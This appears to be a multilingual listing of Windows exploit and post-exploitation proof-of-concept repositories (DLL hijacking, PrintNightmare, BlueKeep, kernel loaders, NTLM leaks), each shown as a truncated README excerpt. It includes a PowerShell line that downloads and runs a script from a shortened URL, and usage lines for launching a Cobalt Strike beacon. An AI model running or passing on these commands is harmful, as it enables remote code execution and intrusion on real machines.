Lockbit3.0-MpClient-Defender-PoC

Lockbit3.0-MpClient-Defender-PoC Lockbit3.0 Microsoft Defender MpClient.dll DLL Hijacking PoC Basato su: il ransomware LockBit abusa di Windows Defender per caricare Cobalt Strike https://www.bleepingcomputer.com/news/security/lockbit-ransomware-abuses-windows-defender-to-load-cobalt-strike/ Come...

hermes-the-messenger

Hermes il messaggero Una PoC per ottenere persistenza tramite notifiche push su Windows Per maggiori dettagli tecnici e contesto leggi il nostro post sul blog qui: https://www.persistent-security.net/post/beacon-on-demand-abusing-push-notifications-for-persistence Uso Prima di tutto devi...

Jormungandr

Jormungandr Jormungandr è un'implementazione kernel di un loader COFF, che consente agli sviluppatori di kernel di caricare ed eseguire i propri COFF nel kernel. L'unico tipo di COFF supportato è un COFF kernel x64 ovvero un COFF che utilizza funzioni provenienti da NTOSKRNL o SSDT. Questo proget...

CVE-2025-24071

Sicherheitslücken-Bericht: CVE-2025-24071 - Spoofing-Sicherheitslücke in Windows-Datei-Explorer Übersicht NSFOCUS CERT hat festgestellt, dass Microsoft kürzlich ein Sicherheitsupdate veröffentlicht hat, um eine kritische Spoofing-Sicherheitslücke im Windows-Datei-Explorer zu beheben, die als...

Kernel-Process-Hollowing

Process Hollowing in modalità kernel di Windows Questo progetto è una prova di concetto di come funziona la tecnica Process Hollowing a livello di kernel. Risorse SSDT Hook Process Hollowing...

CVE-2023-36900

CVE-2023-36900 Über diese Schwachstelle: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36900. Bericht Imhex-Muster für die .blf-Erweiterung Header mit Deklaration der CLFS-Strukturen Proof-of-Concept für Denial-of-Service Imhex pattern for blf extension Before: After: Das Muster...

CVE-2020-1337

CVE-2020-1337 CVE-2020-1337 è un bypass della patch di PrintDemon CVE-2020-1048 tramite una Directory di Giunzione, realizzata per correggere una vulnerabilità di Elevazione dei Privilegi EoP\Escalation dei Privilegi Locale LPE che interessa il servizio Spooler di stampa di Windows. La...

metasploit-ldapnightmare

metasploit-ldapnightmare SafeBreaches POC di CVE-2024-49113 LdapNightmare Integrato in Metasploit Panoramica Questo modulo implementa CVE-2024-49113, una vulnerabilità critica nel client LDAP di Windows che può causare instabilità di sistema. Il modulo si integra con Metasploit Framework, fornend...

netstat2neo4j

Netstat Visualization with Neo4j Description Graphs help to spot anomalies and patterns in large datasets. This script takes netstat information from multiple hosts and formats them in a way to make them importable into Neo4j. Neo4j can be queried for find connections to certain hosts, from certa...

CVE-2014-4113

CVE-2014-4113 PowerShell CVE-2014-4113 Solo Windows x64 iex New-Object Net.WebClient.DownloadString'http://bit.ly/1qosbJH'...

CVE-2019-0708

CVE-2019-0708 POC-CVE-2019-0708 Microsoft Windows 7 für 32-Bit-Systeme SP1 Microsoft Windows 7 für x64-basierte Systeme SP1 Microsoft Windows Server 2003 Microsoft Windows Server 2008 R2 für Itanium-basierte Systeme SP1 Microsoft Windows Server 2008 R2 für x64-basierte Systeme SP1 Microsoft Windo...

CheckPlz

CheckPlz CheckPlz è un adattamento in Rust dei popolari strumenti ThreatCheck e GoCheck , progettato per scansionare file alla ricerca di potenziali minacce sfruttando AMSI Antimalware Scan Interface e Windows Defender. Isolando il contenuto dannoso con precisione e fornendo un'analisi completa,...

CVE-2021-1675

CVE-2021-1675 - PrintNightmare LPE PowerShell Caleb Stewart | John Hammond | 1 giugno 2021 CVE-2021-1675 è una vulnerabilità critica di esecuzione remota di codice e di elevazione dei privilegi locali denominata "PrintNightmare". Sono state rilasciate prove di concetto PoC per la capacità di...

Windows-ZTE-Loader

Windows-ZTE-Loader Windows ZTE Loader CVE-2014-2321 Richiede ZMAP per Windows o BigEar L'applicazione funziona elaborando l'output di una scansione in esecuzione tramite zmap o bigear; tale output viene reindirizzato all'applicazione zte. Consultare la documentazione del proprio sistema operativo...

CVE-2020-0787

CVE-2020-0787（named pipe） È solo una demo, non usarlo su sistemi reali. -Ottieni il risultato per l'esecuzione dei comandi usa cmd /c： exp.exe "cmd /c whoami \\.\pipe\showme " show -Esegui beacon.exe： exp.exe "C:/beacon.exe" Per CobaltStrike È migliore del progetto attuale:...

patch-checker

PatchChecker This is the code base for the service running on: https://patchchecker.com. In short, PatchChecker is a web application running on flask that provides output similar to that of Watson. However by using PatchChecker, one is not required to execute a binary on the target machine...

MS16-051-poc

CVE-2016-0189 Exploit Proof-of-Concept per CVE-2016-0189 corruzione della memoria VBScript in IE11 Testato su Windows 10 IE 11. Analisi https://www.deamwork.com/archives/patch-analysis-of-cve-2016-0189.orz6 Per eseguire 1. Scarica support/.dll o compila .cpp da solo e exploit/.html in una...

CVE-2026-41089-Netlogon

🛡️ AI Security Tool Module CVE-2026-41089: Netlogon Stack Buffer Overflow Offizielles Sicherheitsprüfungsmodul für das AI Security Tool Ecosystem 🌐 Demo-Version • 📚 Projekt-Website • 💬 Community-Chat Website-Navigation: Startseite • Updates • Downloads • Module 🧠 Conceptual Overview Ich...

cve-2025-24071

CVE-2025-24054 e CVE-2025-24071 - Perdita di Hash NTLM tramite Exploit .library-ms Questa PoC dimostra lo sfruttamento della perdita di hash NTLM tramite file .library-ms su sistemi Windows non aggiornati Patch Tuesday di marzo 2025. ⚠️ Questo è solo a scopo educativo e di ricerca. Non utilizzarlo...

CVE-2022-30206

CVE-2022-30206 Questo è il PoC per CVE-2022-30206. Vulnerabilità di elevazione dei privilegi di Windows Print Spooler. Introduzione Eseguire le seguenti operazioni per l'eliminazione arbitraria di file: 1. Eseguire addprinter.exe per creare una stampante e impostare la SpoolDirectory in...